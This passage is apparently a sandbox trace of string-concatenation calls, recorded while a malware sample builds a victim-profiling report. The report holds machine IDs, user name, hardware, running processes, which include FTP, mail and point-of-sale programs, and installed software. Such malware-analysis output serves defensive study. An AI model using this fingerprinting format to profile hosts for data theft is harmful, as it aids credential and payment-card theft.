(English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161", lpString2="]" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]"
[0054.976] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe 